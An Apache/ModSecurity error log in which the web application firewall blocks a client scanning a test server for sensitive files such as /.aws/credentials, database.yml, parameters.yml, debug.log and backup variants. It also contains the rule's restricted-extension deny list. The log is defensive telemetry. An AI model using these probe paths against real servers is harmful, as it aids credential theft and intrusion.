[Wed Mar 11 20:56:57.378455 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.conf"] [unique_id "abHJCU08hzg1BXieW_K39gAAAAI"]
[Wed Mar 11 20:56:57.378701 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.conf"] [unique_id "abHJCU08hzg1BXieW_K39gAAAAI"]
[Wed Mar 11 20:56:57.378820 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.conf"] [unique_id "abHJCU08hzg1BXieW_K39gAAAAI"]
[Wed Mar 11 20:56:57.390578 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.ini"] [unique_id "abHJCUas0R32zSQmEomvTwAAABM"]
[Wed Mar 11 20:56:57.390815 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.ini"] [unique_id "abHJCUas0R32zSQmEomvTwAAABM"]
[Wed Mar 11 20:56:57.390952 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.ini"] [unique_id "abHJCUas0R32zSQmEomvTwAAABM"]
[Wed Mar 11 20:56:57.655383 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.bak"] [unique_id "abHJCSLTdk5HIxV82QLT0QAAAAQ"]
[Wed Mar 11 20:56:57.655652 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.bak"] [unique_id "abHJCSLTdk5HIxV82QLT0QAAAAQ"]
[Wed Mar 11 20:56:57.655833 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.bak"] [unique_id "abHJCSLTdk5HIxV82QLT0QAAAAQ"]
[Wed Mar 11 20:56:57.757796 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.old"] [unique_id "abHJCSCgtlFRCZQ_mzOvmgAAAA8"]
[Wed Mar 11 20:56:57.758066 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.old"] [unique_id "abHJCSCgtlFRCZQ_mzOvmgAAAA8"]
[Wed Mar 11 20:56:57.758218 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.old"] [unique_id "abHJCSCgtlFRCZQ_mzOvmgAAAA8"]
[Wed Mar 11 20:56:57.869841 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.backup"] [unique_id "abHJCSLTdk5HIxV82QLT0gAAAAQ"]
[Wed Mar 11 20:56:57.870127 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.backup"] [unique_id "abHJCSLTdk5HIxV82QLT0gAAAAQ"]
[Wed Mar 11 20:56:57.870281 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.backup"] [unique_id "abHJCSLTdk5HIxV82QLT0gAAAAQ"]
[Wed Mar 11 20:56:58.594381 2026] [authz_core:error] [pid 2634210] [client 185.177.72.60:41716] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Wed Mar 11 20:56:59.325785 2026] [authz_core:error] [pid 2634342] [client 185.177.72.60:41810] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Wed Mar 11 20:56:59.347448 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "abHJCyCgtlFRCZQ_mzOvnAAAAA8"]
[Wed Mar 11 20:56:59.347619 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "abHJCyCgtlFRCZQ_mzOvnAAAAA8"]
[Wed Mar 11 20:56:59.347749 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "abHJCyCgtlFRCZQ_mzOvnAAAAA8"]
[Wed Mar 11 20:56:59.642901 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.inc"] [unique_id "abHJC0as0R32zSQmEomvVAAAABM"]
[Wed Mar 11 20:56:59.643257 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.inc"] [unique_id "abHJC0as0R32zSQmEomvVAAAABM"]
[Wed Mar 11 20:56:59.643451 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.inc"] [unique_id "abHJC0as0R32zSQmEomvVAAAABM"]
[Wed Mar 11 20:56:59.890465 2026] [:error] [pid 2634335] [client 185.177.72.60:41746] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "abHJC4MnPAWHo4A6z1M12QAAAAk"]
[Wed Mar 11 20:56:59.890641 2026] [:error] [pid 2634335] [client 185.177.72.60:41746] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "abHJC4MnPAWHo4A6z1M12QAAAAk"]
[Wed Mar 11 20:56:59.890803 2026] [:error] [pid 2634335] [client 185.177.72.60:41746] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "abHJC4MnPAWHo4A6z1M12QAAAAk"]
[Wed Mar 11 20:57:00.038909 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abHJDKLYNbOGi8i_DeWmGAAAAAo"]
[Wed Mar 11 20:57:00.039221 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abHJDKLYNbOGi8i_DeWmGAAAAAo"]
[Wed Mar 11 20:57:00.039440 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abHJDKLYNbOGi8i_DeWmGAAAAAo"]
[Wed Mar 11 20:57:00.089366 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abHJDAGa7hTYdm05K1T1ywAAAAU"]
[Wed Mar 11 20:57:00.089536 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abHJDAGa7hTYdm05K1T1ywAAAAU"]
[Wed Mar 11 20:57:00.089692 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abHJDAGa7hTYdm05K1T1ywAAAAU"]
[Wed Mar 11 20:57:00.144426 2026] [:error] [pid 2634335] [client 185.177.72.60:41746] [client 185.177.72.60] ModSecurity: Warning. Matched phrase ".travis.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.travis.yml"] [unique_id "abHJDIMnPAWHo4A6z1M12gAAAAk"]
[Wed Mar 11 20:57:00.144597 2026] [:error] [pid 2634335] [client 185.177.72.60:41746] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.travis.yml"] [unique_id "abHJDIMnPAWHo4A6z1M12gAAAAk"]
[Wed Mar 11 20:57:00.144740 2026] [:error] [pid 2634335] [client 185.177.72.60:41746] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.travis.yml"] [unique_id "abHJDIMnPAWHo4A6z1M12gAAAAk"]
[Wed Mar 11 20:57:00.820364 2026] [:error] [pid 2634351] [client 185.177.72.60:41768] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/debug.log"] [unique_id "abHJDFeVHFR5HsWynCXzIQAAAAM"]
[Wed Mar 11 20:57:00.820622 2026] [:error] [pid 2634351] [client 185.177.72.60:41768] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/debug.log"] [unique_id "abHJDFeVHFR5HsWynCXzIQAAAAM"]
